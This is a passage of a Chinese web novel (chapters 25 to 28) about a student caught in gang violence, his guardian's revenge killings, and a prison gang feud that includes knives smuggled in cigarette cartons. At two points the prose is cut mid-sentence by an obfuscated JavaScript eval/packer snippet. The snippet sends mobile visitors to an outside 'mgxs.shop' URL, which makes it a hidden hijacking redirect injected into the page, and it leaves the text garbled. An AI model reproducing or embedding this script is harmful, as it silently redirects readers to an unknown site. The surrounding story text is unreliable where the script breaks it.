球棒重重砸在第一个男人的手臂上,他发出愤怒的闷哼,却硬是没后退,反手就要去夺。白容生立刻抽回球棒,用力过度的手臂和手腕有点像强接在他身体上的零件,他心里立刻就是“糟糕”。 再下一棒,打中那个男人的同时,他被用力踹了一脚,撞上保安室的外墙,耳边嗡嗡的。身体的痛苦并没有明确的感知,不过白容生控制不住地贴墙下滑,胸腹不由自主地一缩,胃部后知后觉开始抽搐。 “操!……真他妈难搞……” 话语声听着有点不连贯,球棒被人一脚踢开,紧接着白容生被扯着头发,对准保安室的墙狠狠撞了一下。 他本来身体还在本能驱使下想要爬起来,被撞了一下后,总算蜷缩着,没有再乱动了。 “别就这样把他打死了。”最后追上来,也是结结实实头上挨了一棍的第三人走近说,嗓音低沉。他摘下帽子,露出瘦削的脸,额角一道不明显的血痕,眼神里充满了神经质。 徐桥伸手抓着白容生的头发逼他仰起脸,白容生眼神有些涣散,口腔里满是铁锈味的血腥气,眼珠微微偏过来看着他的脸。好一会好像才认出来他,慢慢地说:“徐桥……” “还活着就好。”徐桥笑了,一甩手放开他,急促地说,“带上他,走。” 身后两个男人却说:“钱还没拿,白挨两棍子。哥给你白干活呢,去他屋里拿了钱再走。” 徐桥:“可是——马上十二点了,到时候一定有人出来……” “怕什么?” 为首的男人戴着手套,走进保安室,将保安的尸体拖下桌,塞进桌洞里,椅子上盖着大衣遮住血迹,最后关灯锁门,营造出保安也回家过年的假象。 “把那小子带回去。”他甩了甩手腕,“拿钱再走人。” 另一个男的开口:“那个姓崔的不会回来吧?” “叉子今晚请吃饭,他怎么可能回来,咱们可是看着他走的。”男人不耐烦地踢他一脚,“赶紧的,还得去买车票,老子可不想明天过年被叉子全城悬赏人头。” 徐桥帮忙把白容生拖起来,冷冷地问:“我的要求怎么办?不是说要给我哥报仇吗?” “你哥在牢里面,我们可没本事把他弄出来。这不人给你了?我们找钱的时候,你随便出气,记得别让警察查到你。” 第二个男人嬉皮笑脸地说,“或者你现在把他杀了,扔保安室,省得我们要带这么大一个累赘。” 说着,他掏出刀塞给徐桥。这把刀前不久捅死了保安,因为他没有老实看电视,而是探头问这三人是不是这个小区的,看见了他们的脸。 刀上是凝固的血液,暗红发腥,有一种粘稠的恶心触感。徐桥嘴唇发抖,看着白容生模糊不清的苍白的脸,刀子举起又放下了。 “狠不下心?”男人嗤笑,也不管率先回去找钱的大哥了,蹲下来跟徐桥讲,“哎,你不是说,就他害得你哥在回来找你的时候被警察抓住,逃了这么久完全白费吗?这样都下不了手,也太废物了吧。” 徐桥咬牙,看了他一眼:“我他妈又没杀过人!狗操的,你第一次杀人说杀就杀?” “捅进去就行了,想那么多。”男人啐道,“不是跟你哥有交情,我才不来掺和这个烂摊子。前年老子和崔盛打过架,完全凶得不要命,这次被他逮到我还能活?” 白容生极为缓慢地倒抽口气,他的耳鸣还是很严重,眼前天旋地转,一股想呕吐的反胃感。这不妨碍他把徐桥和男人的对话听个大概,勉力抬起脸,眨掉眼皮上的血:“我和你哥……有什么关系?” 他突然说话,把徐桥吓了一跳,抓着刀的手颤了颤。随即,徐桥用力推了他一把:“闭嘴!” 白容生仰躺在地面上喘气,视野里是高远漆黑的夜空。徐桥俯视着他,冷笑起来:“你还得感谢冯少平拍的照片,不然我哥是怎么认出来,你就是火车上那个把他送给警察的好、市、民呢?” 混乱疼痛的大脑随着徐桥的话去翻找记忆,火车、警察、旅游……暑假时候的事。 白容生早已记不住那人的脸,甚至记不清事情的详细经过,他手上当时被划出的伤口现在连愈合的痕迹都消失了。谁会想到那人是徐桥偷偷回家的通缉犯哥哥? 一霎那间,白容生胀痛的大脑里,把这些事件串了起来。 而徐桥再也忍耐不住,将无人倾听的那些话一个劲吐出来:“他只是知道我考上高中所以想回来看看,而我竟然在期末的时候才知道他被抓了!他本来在外面,根本没人发现他,都是你把他送进监狱,你把我哥害那么惨,你那个混混哥却还有那么好的命,凭什么?!” 白容生被他抓着领口,徐桥一字一顿地说,“你本来应该过得比我惨,你才是彻头彻尾的垃圾、可怜虫,连父母都没有,崔盛根本不是你的亲哥。你这个……” 他的手不知不觉举起了刀,呼吸急促。白容生猛地深呼吸,一个用力,突然扑到徐桥身上,双手抓住他的肩膀,转而把徐桥按在地上。 徐桥沙哑地叫出声,手胡乱挥起刀,白容生拼尽全力攥住他的手腕,直接夺过刀,二话不说就要刺下! 身后传来骂声,另个男人反应过来,赶忙上前踢开白容生的手,扯着他的领子把他提起来摔回地上,转头骂道:“蠢货!读书读傻了?他你都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168948|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打不过?” 徐桥的凶性也出来了,大口喘着气,爬起来跌跌撞撞去找刀。 白容生这次被摔得几乎短暂失去意识,他很难再去控制身体四肢,眼前的夜空逐渐变得五颜六色,随后那些色块开始扭曲。喉咙和胸口火烧火燎的,他还想再爬起来,但他已经失去了刚刚最后一次机会。 徐桥脸部变得狰狞,他终于找到了刀,捡起来的时候,一束雪亮的灯光也照了过来。 一辆车迅速地甩尾转身,近乎丝滑地驶进大门,在他们前方急刹。徐桥还没反应过来,旁边男人忽然大叫:“别管了,快走!” 在他吼叫的同时,车两边门打开,迅速跳下四五个人。开车的人没下来,从车窗挑出一挂鞭炮,点燃的瞬间,车后方的人举起手,对准跑得最快的男人背后,快速连开三枪。 鞭炮声将枪声完全掩盖,黑夜里只有枪口喷吐出的火花。男人甚至没来得及叫喊,就向前扑倒在地。 徐桥在这个瞬间,唯一的想法就是杀死白容生。他低头看着白容生的双眼,刀尖立刻冲着他的眼睛落下。 白容生在恍惚里,完全是凭借直觉用尽力气翻了个身。徐桥一刀落空,还要继续,眼前忽然一黑,身体飞了出去。 他根本没反应过来,在地上滚了两圈,手刚撑住地面,张口就呕了出来。不等他抬头,就被人抓着,快速且狠重的,脸在地面砸了好几下。 没人来插手,过了好几分钟崔盛起身,手里像拖着什么物件一样,把毫无动静的徐桥拖了过去。 “先放车里。”他说,单膝跪下看白容生的情况,“其他人去房子那边看看什么情况。” 一伙人二话不说跑走了,只剩下放炮的司机,拿着绳子把徐桥捆好。 崔盛手心都是冷汗,他没敢乱动白容生,而是轻轻叫了两下他的名字。白容生好一会才给出反应,崔盛依据经验,问了他身上的状况,才极尽谨慎地把他抱起来。 司机探头想问他怎么处理,被崔盛的脸色吓了一跳。 这时后面第二辆车来了,崔盛言简意赅:“先把他送医院去。那边的男人和车里的这个,老规矩处理。” 司机应了,看了眼崔盛隐在黑暗里,仿佛凝固的塑像一般的脸,又问:“崔哥,你呢?” “回去家里收拾一下。”崔盛从车后面抽出什么,轻声说。 很久没有这种感受了。 这样全身都被冰冷的怒火、暴虐的冲动统治,最终凝结为深重的仇恨,取代了理智,指挥他的身体去做该做的事。什么都没有,只剩下愤怒和报复,或许这才是他遗传自父母的本质,总有一天就这样滑进深渊。 崔盛仿佛抽离出去,以第三视角看着他回到前不久精心装饰的房子,把那个还在咒骂的男人拖出来,检查他从房子拿了什么,再逼问他,有没有对白容生动手,怎么动的手。 既然都是道上混的,那就讲道上的规矩。摸进人家里去动不沾这些事的妻儿老小,被逮到后,怎么处罚都不为过。 外面响起跨年鞭炮的时候,崔盛命人关上家门。 等到凌晨之后,漆黑的寂静里,他领着人出来,坐进车直奔医院。 白容生……刚刚回避的问题现在避无可避,崔盛头一震一震得疼。他不敢面对,不敢面对白容生可能出了问题,不敢面对他独自把白容生留在家里的纰漏,不敢面对白容生的所有。 明明他在尽力维护这个家庭,可是他失败了,他竟然连一个安全的房子都保持不了—— 虚空中他又看见那把斧头,沾着父亲的血肉,被母亲挥舞着,寻找他、追逐他、辱骂他,骂他把家庭搞乱,骂他竟然敢背叛他的亲生母亲! 没有履行应有的职责,就是背叛。 崔盛打了个冷战,下车的时候神思不属。除夕夜的医院依旧人来人往,他站在病房外甚至想跪下去,他想到白容生脱力的身体、急促的呼吸和冰凉的手。 “白容生的家属,是吧?” 医生对上崔盛带着血丝的眼睛,不由警惕地后退一步,“病人检查完毕,还好没什么内伤,先卧床静养……” 白容生被一只冰冷的手碰了碰。 他睁开眼,先看见的是崔盛疲倦的脸,眼下青黑,正在出神地盯着他。 白容生一怔,随后,崔盛靠过来,张开手抱住了他。 “对不起。”崔盛极缓慢地说,“我真不该出门的,对不起。” 26. 第 26 章 白容生没想到铁算盘竟然会来亲自探望他。 大年初三,病房里还应景地挂着红福。白容生坐在病床上,支着小桌板写寒假作业,铁算盘就推门带着几人进来了。 “忙着呢?”他主动按住白容生的肩膀,让他继续坐着,“不用乱动,你伤还没好。学习上进,是好孩子,不怪崔盛那么疼你呢。” 一直坐在病房角落的崔盛放下手里的二手游戏机,起身对铁算盘点头。他面上是显而易见的疲惫,甚至比还在恢复的白容生要更疲惫。 铁算盘就白容生的状况低声和他交谈几句,拍拍崔盛的肩膀:“你也该好好休息。” 崔盛只摇摇头,没说话。他侧脸的线条因为紧绷而显出几分固执和阴郁,对白容生出的事故,他好像十分在意。 铁算盘有些意外地打量他,接着说:“那两人,你都处理过了,最后的事,大当家下的令,现在挂在那边示众呢。”他似乎对叉子的做法存在不满,说到这里摇了一下头,“不过问题是那个小子,白容生的同班同学,对吧?他怎么处理?” 崔盛的表情总算有了些波动:“哦?他还活着。” “毕竟跟我们不是一路人,杀了麻烦挺大的。”铁算盘说,“也不能一直养着吧,大当家的意思,问问白容生,看他心狠不狠。” 崔盛和他一起走出病房,点了根烟:“什么意思。”他声音沉下去。 铁算盘:“这小子和白容生以后必然是死仇。没有千日防贼的道理,我的想法呢,是干脆了事。大当家说了,人不能白杀,他要让白容生亲自拿这个主意,只要他点头,这件事,干干净净,确保查不到他头上。” 但是这个情,这个人命债,就要白容生来背。叉子为他解决徐桥,所图的是日后更多的回报。 崔盛沉默,隔着烟雾,铁算盘面上的笑容显得如此宽和:“你也明白这里面的道理。崔盛,不能太心疼小孩,更何况他不小了。白容生呢,我看得出来,心思重,可是同样重感情,你必须要学会在他还小、还心软的时候,把他和我们牢牢绑在一起。” 最后,铁算盘夹着烟飘然离去,他留下一句话:“崔盛,别忘了,你的未来同样跟他息息相关,这是为了你自己。” 崔盛掐断烟,在窗前散了会味。过年的病房并没多少喜庆的气氛,即使只是围观,也很难有好心情。 他回病房,白容生正在吃药,额头上裹着纱布,那一块的头发都被剃掉了。他无言地走过去,接过水杯,白容生若有所觉,看向他。 “有什么烦心事吗?”白容生问。 崔盛坐下去:“没有。” 白容生嗅到隐瞒的味道,盯了崔盛一会,崔盛转移话题:“我给你请了几天假,好好休息,等身体好了再回学校。” “徐桥呢?”白容生忽然问,“他现在在哪?” 事后,借由叉子那边得到的情报,白容生才终于捋清楚这件事。 巧合得很,他们在火车上抓住的小偷是徐桥的哥哥。最开始警方并没发现他是那个潜逃的通缉犯,差点拘留几天就把他放出去了,是同拘留所有人认出他,直接把他举报。 徐桥在学校里根本不知道这件事,后面才从家里人口中得知,于是期末考完便去监狱探望。在探望中,他向哥哥展示了自己班级的合照,他的哥哥却认出了白容生。 原来白容生是那个罪魁祸首。 一个复仇计划在徐桥心里酝酿。他联系上哥哥曾经的兄弟,都是抢劫盗窃,沾过人命的老手,只是比他的哥哥运气好些,还没上通缉名单。 崔盛不在的除夕夜,就是最好的时机。 “他在叉子手里。”崔盛说,突然间,他好像下定了什么决心,“我去找叉子,这件事后面你不要管了。” 白容生:“哥。” 崔盛被他叫住,回头看见白容生定定注视着他,“哥,你要杀了他吗?” “……你不用管。” 白容生听见他的回答,哗一下将手里的卷子丢到一边:“你别去做这种事。” 崔盛拧眉,白容生强调:“不要去——不要去为我杀人。为谁最好都不要。” “担心我被抓走?”崔盛反而语气变得轻松,“不会的,还记得去年在那座烂尾楼吗?最后什么也没发生。” 白容生看了他几秒,直接掀开被子下床。动作间扯得身上伤口阵痛,他也面不改色,甩开崔盛伸过来的手,啪一下锁了门。 崔盛:“你起来做什么?回去躺着!” “哥。”白容生背抵着门,“我们不要忘了最后的、最重要的目标,我要和你一起离开这里。不要只想着我,你难道不应该也尽量干干净净地走出这里吗?过去的许多事都可能是隐患,能够摆脱的麻烦,为什么还往身上揽?” 崔盛走过来,他一言不发,把白容生强制抱起来放回床上,就着这个姿势,撑床低头看他:“他不死,才是隐患。” “让他进监狱。”白容生冷漠地说,“我知道你们有办法把他送进去。只要三年,三年后我们已经离开了,而且送他进去的手段看上去合法,他还能怎么样?既然这么为他哥哥打抱不平,不如请他和他哥哥作伴。” 崔盛沉默好一会,白容生推他的手臂,坐起来追问:“不行吗?” 不知道在想什么,崔盛等了等才说:“这倒是让我想起来了……你别管,出院后还得回去上课呢。” 崔盛没再提这件事,但他的态度让白容生感觉,徐桥好像已经是个死人了。 中间李舜和吴飞云在开学前来医院看过白容生,提了一个像模像样的果篮,发现白容生没有大碍后,立刻命令他交出数学和物理作业。 白容生每天闲得不行,在病房里转圈,随便和他们聊天。他把徐桥隐去了,只说倒霉,遇到入室盗窃团伙。 李舜凑过来看他的额头,啧啧说:“还好没毁你的脸,不然可真是一大损失。” 说着,他心有余悸地拍拍胸口,“我听说门口的保安直接在保安室就被杀了,他那么大年纪,人还挺热心的,好可怜……” 白容生用头发把伤口盖住,屈腿坐下,有些心不在 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白容生脸色急速地一变,几乎马上就要追问,硬是忍住,尽量柔和地问:“为什么?哥他去哪里了?” “事情太突然了。”叉子挥手,“和警察那边出了点矛盾,冷不丁来扫老子的场,崔盛在现场,一块被捞走了。你说那进去的人,是这么好出来的吗?至少得四五个月。” 白容生耳边嗡的一声,身上的伤口都开始跟着抽痛。他怀疑是自己听错了,重复道:“四五个月?” 铁算盘叹口气,拨弄着他身上挂的算盘:“谁都没想到,我还在考虑怎么跟你说这件事。北城区新来了个警司,后台硬,敢和一群人对着干,崔盛恰好撞上枪口了。不过他的记录很干净,你放心,几个月后绝对能出来。” 不对。白容生从中感受到了违和感,他还想说什么,铁算盘打断他,“大当家今天顺路来看看你,也是想安你的心。崔盛不在,照样有人能照顾你,好好读书么。” 他笑着拍拍白容生的肩,白容生略微一顿,接着问:“那天去我家的几个人……” 叉子:“哦,都处理干净了,你放心吧。”他斜眼瞥过白容生,“尤其你班里那个同学,本来应该归你哥的,谁能想到呢,他这么倒霉。给他送饭的那个傻逼就踹了两下,当场死了,救都救不回来。” 他说着,脑中不知联想到什么,手一砸床边,“你说人有时候也怪,跟你一个洗头房出来的雁红,从楼梯上滚下来就摔死了。再漂亮的女人,摔断脖子都不好看啊。” 白容生:“……什么?” “年前的事了,家里没人,她又喜欢喝酒,从别墅二楼滚下来。”叉子摇头,带着点惋惜地说,“方琴那洗头房,美女挺多,就是运气不好。” 白容生低着头,“好可怜”这三个字忽然在他脑海里一闪而过,他记起来这是李舜在他病房里说的话。好几秒后他抬起脸,语气如常:“监狱也能探监吧?我总得见见我哥。” “能,”铁算盘说,“不过,最快也得下个月,这个月,谁都见不了。” 27. 第 27 章 下课时,白容生向后看了眼。他的身体在大脑反应之前先做出这个动作,后面徐桥的座位依然是空的。 C市不大,消息传出很快。徐桥家里在发现他失踪多天后报警,前两天刚出结果,据说是过年期间外出,在路上惹到了小混混,冲突中被失手杀死。杀人后凶手掩藏尸体,因此直到现在才发现。 活生生的杀人案就发生在身边,班里不少人都对此心有余悸,冯少平更是连着三天开班会,要求他们少出去乱跑,更不要和陌生人起冲突。 白容生知道,这是叉子手下弄出一个人来顶罪。 他转过身,拿着笔去冯少平办公室开请假条。请假理由是崔盛住院,他需要去照顾两天,住院记录是伪造的,来自崔盛某个打输的“同事”。 天气才回暖一周,气温再次骤降,又要迎来寒潮,接下来两三天都有雨雪。但白容生终于等到能探视的日子,一天都拖不下去。 那天在医院,他被意料之外的消息砸得猝不及防,几乎以为出现了幻听。后面他在报纸上找到了相关新闻,读了几遍,快要能背下来。 叉子从本市头号毒贩贾大海手里拿到的货,主要在北城区两家KTV销售。他做事风格张扬,警方一直清楚这两个地方是做什么的,直到这位新上任的警司突然行动,带人清缴这两个地方。 巧的很,徐桥当时就被关押在其中一家KTV的地下室,这是在医院陪护的人透露给白容生的消息。 此时徐桥还没死,崔盛去见他不知道是做什么,之后不等崔盛离开,就被一起逮捕。至于徐桥,大概确实是运气不好,他所在的地下室既偏僻又没有储存“货”,就这样被忽略过去。 有那位警司主导,这个案子结案极快。叉子手下折了好几个人进去,一时间成为北城区的笑柄,在家里恨得咬牙。 崔盛算是这群人里判得轻的,七月份就可以出来。 白容生戴上帽子,遮住还没完全长好的伤口,坐上公交车。 他要一直坐到终点站,中间看了几页书,实在是晃得想吐,合上书本,看向窗外。 不大干净的玻璃窗上,映照出他没有表情的脸。 终点站下车的几人,似乎都是来探监的,基本上都把自己遮得严实,沉默地向前走去。白容生先前已经提交过申请,按照程序去登记,经过检查,顺利走进了探监室。 探监室中间用坚硬的隔音玻璃分隔开,中间用聊胜于无的挡板分出一个个座位,玻璃两边只能用话筒交谈。白容生走到安排给他的座位,不动声色地给站在旁边的警察塞了包烟。 那人扫了一眼,没说话,默然收下。 玻璃后面还是空的,白容生盯着桌面深呼吸,尽力装出无所谓的平静表情。没两分钟,他感觉到什么,抬眼看见崔盛出来。 崔盛头发修得很短,脸也变瘦了,显得轮廓更深。他坐下后才正视白容生,似乎想说话,又不知道怎么开口,罕见露出为难尴尬的表情。 白容生也没说话,观察着他,看见他脸侧一道还没完全愈合的伤疤,一直延伸到脖颈。 旁边的警察看了眼表,说道:“四十分钟。”接着走开几步,留给他们说话。 通过崔盛的表现确定猜测后,白容生拿起话筒。 “哥,”他说,“里面会打人吗?” 崔盛:“还好,我们一起进来的好几个,他们打不过。” 白容生还盯着他的伤疤,崔盛又说:“身上还疼吗?帽子摘了,我看一下你头上的伤。” 把灰色毛线帽扔到桌上,白容生仍然举着话筒,说道:“徐桥死了,你看见新闻了没?” 崔盛目光从他的伤口转移到他脸上,白容生的目光带着冰冷的审视意味,甚至有点恶狠狠的,看着崔盛,“真可怜啊,遇到这种意外。弟弟死了,哥哥一个人在里面,肯定很受折磨吧?” 过了几秒,崔盛对着话筒笑了声,他说:“你想多了。我就是运气不好,才被抓进来。” 白容生:“真希望我是傻子,这样我就能相信你。见到你之前我还以为是我猜错了,没想到——” 他不想表现得太激动,垂着眼睛看着桌面,但胸口依旧被气得发胀,不得不紧紧闭上眼。 “白容生,白容生。”崔盛叫他的名字,“别生气,冷静一点,不要有负担,就当我是为了自己,不清除干净我放心不下。” “如果你再也出不来呢?”白容生冷笑,“反正有我去火葬场给你收尸,对不对?” “真有那么一天,你可以不去管我。” 白容生抬起眼,崔盛一直凝视着他,“这是我必须做的事。” 沉默持续很久,崔盛试着谈论别的话题:“我听说你还住那房子里,虽然有人看着,但我不放心,你要不要先住校……” “除了徐桥,我应该没什么仇家。”白容生取下身后的背包,交给旁边的警察,“这些是我给你的东西。” 包里有几盒烟,其他的都是换洗衣物和生活用品。警察刚收了白容生的好处,瞥他一眼,把里面的剃须刀片拿出来晃了晃,示意这个不行,至于烟他就当作没看见,打开小铁门,将包递过去。 说是四十分钟,但结束时白容生看了眼表,实际上他拥有五十分钟。崔盛要求他少来探监,正常上学,等他出去。 白容生走出监狱,外面正在下雨夹雪,天空灰沉。他还存在部分疑点,不过那需要等崔盛出狱再说。 徐桥的死必然和崔盛脱不开关系,估计进监狱这件事也是他一手设计,因为徐桥的哥哥在里面,外面难以接触到他。 他只是不清楚这件事是崔盛一意孤行,还是叉子安排的任务。 冰凉的雪花碰到手背,很快就融化了。 崔盛离开探监室,回到监区后,解开手铐脚铐,搜身过安检。 他十分配合,主动把包里的一盒烟交出去。搜身的人扫他一眼,挥挥手让他走 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他们以为崔盛恐怕要去医务室躺着,没想到过去后看见崔盛坐在那里,手中把玩着不知道从谁身上得到的廉价火机。 他的身上血腥气很重,最醒目的伤口自脖颈到侧脸,脸上的还算轻,脖颈和肩膀血肉模糊,幸好没伤到动脉。虎头是第一个跑过去的,崔盛听见脚步抬头看他一眼,那个眼神,看人时如同打量动物,令他心里一惊。 随后,崔盛起身,将火机扔到地上,伸脚踩碎。 “来了?”他问,接着手向身后一指,“第一次进来,这里的规矩我不懂,怎么叫医生?” 场子被突然扫荡,确实超出叉子的意料。不过他本来就打算塞几个人进监狱,有些老仇家躲在牢里,在外面的他竟然奈何不得。只是原计划里没有安排崔盛,没想到崔盛也跟着进去了。 虎头在医务室嘴上不停地说,崔盛只从里面提取必要信息。听完后他心里一笑,知道并不是监狱这边关节没打通,而是叉子故意的。 更准确讲,这种做事风格,应该是铁算盘的手笔。 他没有逼迫白容生做出选择,也没有遵循铁算盘不要惹是生非、洗白上岸的要求,自然进来后要吃苦头。苦头给得很重,又不会让他死,就是一种告诫。 不要轻举妄动、不要自作聪明。但是崔盛已经进来了,木已成舟,叉子只得咬着牙认下。 “他们出来休息了。”不远处车间的门打开,人排成两队出来。虎头忙站起身打量,“咱们的人呢?” 崔盛无动于衷,坐在原地,只有目光扫过去,定在队伍的末尾。 那个穿着囚服的男人个子很高,在一队人里十分突出,又因着瘦,导致人看上去像根竹竿。 或许是有所感觉,他抬头向崔盛这边张望着。崔盛错开目光,嘴角带了点笑,自语道:“徐冠峰。” 28. 第 28 章 “这次月考完,提前开家长会。大家应该决定好选科的事,一方面看成绩,另一方面也要考虑到之后大学选专业的事。”冯少平在讲台上说,“一定要放在心上!不能想着高二还远,很快你们就到暑假升入高二,再到高三就没时间了。选科是大事……” 后面的话白容生没怎么听。发下的选科意向统计表他都没多看,直接勾选理科中的物理化学。 李舜在旁边看了看他,很羡慕:“我也想学理科啊——我姐说学文科出来根本没工作,但是理科我真的学不动。” “文科不挺好的。”吴飞云已经填了文科,催促李舜,“说好陪我一起走的呢?快填,敢去理科咱俩关系就结束了。” 他俩习惯性地吵嘴,白容生只旁听,手指转着笔。忽然李舜碰碰他:“嗳,白容生。” “怎么?”白容生随口回,“中午发的数学试卷还没写完。” “啥呀,不是说这个。”吴飞云插嘴,用手肘戳他的肩膀,“你最近怎么了这是,感觉心情很不好。” 转着的笔掉在桌上,白容生看向他俩,面上轻松地笑笑:“嗯,有吗?” “呿,还装。”李舜说,“从实招来,怎么回事啊?总不能谈恋爱思春期……对了,感觉好久没看见你哥,他有事?” 白容生安静少顷,回答:“是我哥的事,他……暂时去处理别的事了,大概暑假的时候回来。” 李舜和吴飞云都知道他的家庭情况,纷纷理解。 “家长会他来不了的话,我妈一起帮你开了。”李舜热情地说,“她特别想体验自己小孩的照片贴在光荣榜上的感觉,你可以帮她圆梦。” 知道他是在安慰,白容生对他俩笑了笑,这次笑容真实柔和许多:“没什么问题,我只是有点担心他。” 坦承内心的所思所想,对白容生而言挑战还是太大。能对李舜和吴飞云说出这句话已经是他的极限,他迅速收敛起多余的思绪,转而道:“不说这个了,李舜,下午借一下你的电动车。” 今天下午都是自习课,白容生又去请假。冯少平看出他状况和以前不一样,只是白容生嘴严,他又联系不上崔盛,就叮嘱:“学业为重,家里有事都可以跟老师说,你们小孩子不要自己硬扛。” 寒假里徐桥的事已经足够让冯少平焦头烂额,生怕班里再出事。白容生看似听话地答应,拿着假条就出门了。 他骑车去北城区,熟练地停在一家不大起眼的杂货店门口。老板在柜台后看电视,看到是他,问:“还是老样子?” 白容生应了,从钱包数出钞票放在玻璃柜台上。老板则走进里间,没一会提着一个其貌不扬的黑色塑料袋出来,递给白容生。 袋子里是三条烟,白容生扫一眼确定后,走出店门。 天气多云,日光不是很强烈。崔盛自第一次探监后就拒绝白容生再来,白容生只能托叉子的人帮忙把东西送进去。他把多拿的一张选科统计表填好,仿写崔盛的签名,塞进其中一条烟盒里。 空白的角落里,白容生思索半天,画了一个傻呆呆的鸟头。他觉得很像崔盛发呆的时候。 这家店的老板进货渠道广,总能弄到便宜一点的真货,且无论是谁,给钱就卖。崔盛递话多要了些烟,白容生猜测,他可能准备动手了。 如果是较有经验的人,把装着烟的袋子提在手中试一试,就会从不正常的重量中敏锐推断出,这烟里面加了东西。 骨节分明的手指拆开外面的包装,烟盒里装的,是几把轻薄的短刀。 崔盛抽出一把,在手里娴熟地转了转。虎头在他身旁,有点不安:“这是大当家安排人送进来的?不是说只要把对面人废了就行吗,我、我还是不太能杀……” “你总不能空手把人废了吧。”崔盛放下刀,从另一个烟盒里抽出一张叠得方正的纸。他打开后,神情微妙地凝住,虎头似乎从他脸上看出了混合着惊讶、喜悦和细微难过的表情,甚至眼神都柔和了,仔细地将这张纸来回看着。 他心里好奇,想凑过去看一眼,崔盛却已然收敛了神态,手上毫不犹豫地将纸片撕碎,全部扔进不远处的下水道口。 刚刚的样子仿佛幻觉,崔盛又变回虎头熟悉的那个冷漠,脸上时常带着点尖锐嘲讽的年轻人。 估计是对象送来的小字条吧?虎头这样想着。 “咱们先下手老江,对吧?”虎头蹲着抽烟。 大宏倒台太快,他手下有些人还留在监狱内没出去,自家老大就死了。叉子对大宏的手下持的是赶尽杀绝的战略,但凡有威胁又不肯诚心投靠他,至少要被他废了。 留在监狱的这些人不愿意坐以待毙,转而投靠大雁。这几月叉子手下进来的人,已经死伤好几个。 狱警对混混内斗一向装看不见,这群祸害能内部消化,对他们来说再好不过。 叉子不可能吃这个闷亏,自然要准备反击。老江之前是大宏身边的知名打手,有人说,如果不是叉子动手的时候老江在牢里,大宏绝不会这么轻易死掉。 这人是叉子的首要目标,不杀掉老江,他的位子不能彻底稳固。 但目前大雁那边人更多,虎头他们不敢轻举妄动。他问崔盛,得到的答案是一个个来。 “对,先拿下他。”崔盛回答,“这是大当家亲自发的话。” 虎头:“其实老江还好,我更担心的是……萨鬼。” 萨鬼,几年前叱咤北城区,是大雁的好兄弟。他判得很重,这两年才从外地移送回C市,据传他当年是为了帮大雁顶罪才判这么多年。 大雁也为他尽心竭力,在这个监狱里,所有人都知道不要惹萨鬼。因为招惹他的人大概率走不出监狱,即使出去,也不能从大雁手下活着离开。 现在萨鬼年纪上来了,不爱参与其他犯人的斗争。甚至有时大雁的人吃亏,他都懒得管,如果崔盛他们只是除掉老江这个大宏的人,萨鬼必然不会多管闲事。 可假如他们的目标不仅是老江,还要为了报复再废几个大雁的人,萨鬼就是一个大问题。这几人都是再过几月就能出去的,叉子叮嘱他们,不行就等到最后再动手。 “我知道。”崔盛说,“但是先解决老江,谁都没理由管我们。他也明白,最近都不敢落单了。” 虎头自告奋勇:“崔哥,这事交给我。” 崔盛撩起眼皮,浅色的眼珠定定看着他:“你不是不敢吗?” “哪能一直不敢,我也想对大当家表现表现。”虎头说,“再说,我之前就跟大宏的人有仇,大宏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168951|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了,我找老江报仇也一样。” 似笑非笑地扫他一眼,崔盛说:“好啊,我给你打配合。” 晚上,晚饭后到睡前,有一段自由活动的时间,可以去排队洗澡。毫无疑问,有些人根本轮不到洗澡的机会。 崔盛裸着上身,在更衣室点了一根烟。他短暂地走神,一旁忽然有个男人凑过来:“兄弟,借个火。” 他拿下烟看过去,对面是个其貌不扬的黑脸男人,身体高大强壮,看模样得有三十多。他咧开嘴笑了笑,借过崔盛的火,仰头吸着烟,坐了回去。 浴室里不停地在传出叫骂和打斗的声音,男人和崔盛都置若罔闻的样子。忽然男人开口问:“叉子手底下没人了,让你来?” 崔盛看向他,萨鬼对他笑,满脸令他恶心的高高在上:“你没有那股不要命的狠劲,就不要进监狱啊。” “你还是第一个这样说我的人。”崔盛漠然道。 “因为我是过来人,看得出来。有没有真心挂念的人,是两种状态,走不出监狱大门的人多着了,你可不要成为其中之一。”萨鬼大口抽完烟,端着盆站起身,“看你借我火,提醒你一句。我是好心,你不认是你的事了。” 他离开浴室后,崔盛脸上才划过不耐烦的神色。他对老江毫无兴趣,放手交给虎头去搞,没想到的是,萨鬼主动和他们牵线,把老江带来了浴室。 更衣室大门关上的时候,老江脸色煞白,他勉强笑着问萨鬼,鬼哥你什么意思。 萨鬼打了个哈欠说老江,不好意思,你讨厌叉子,我和叉子可没有深仇大恨。这些时间你扯着大雁的旗子搞那么多人,叉子过来寻仇,我总得交出罪魁祸首,缓和一下关系吧? 崔盛吸完一支烟,浴室内的动静还没停止,听着都有点不堪入耳。他听着很反感,准备进去提醒虎头利索点。 他掀开浴室厚重的塑料门帘,虎头猛然大叫:“崔哥,小心!” 一个浑身是血的男人如同厉鬼一般向崔盛扑来,喉咙里发出粗哑的嘶吼。崔盛敏捷地侧身躲开,地上是湿水的瓷砖,老江脚底打滑,踉跄着摔倒,滑出老远。 虎头这才跑过来,还没张嘴,迎面就被崔盛甩了一耳光。 这一巴掌毫不留情,虎头愣是被打得晕头转向,耳朵里都嗡嗡的,好半天才意识到嘴里都是血。 “怎么做事的?”崔盛冷声道,“废物一个!” 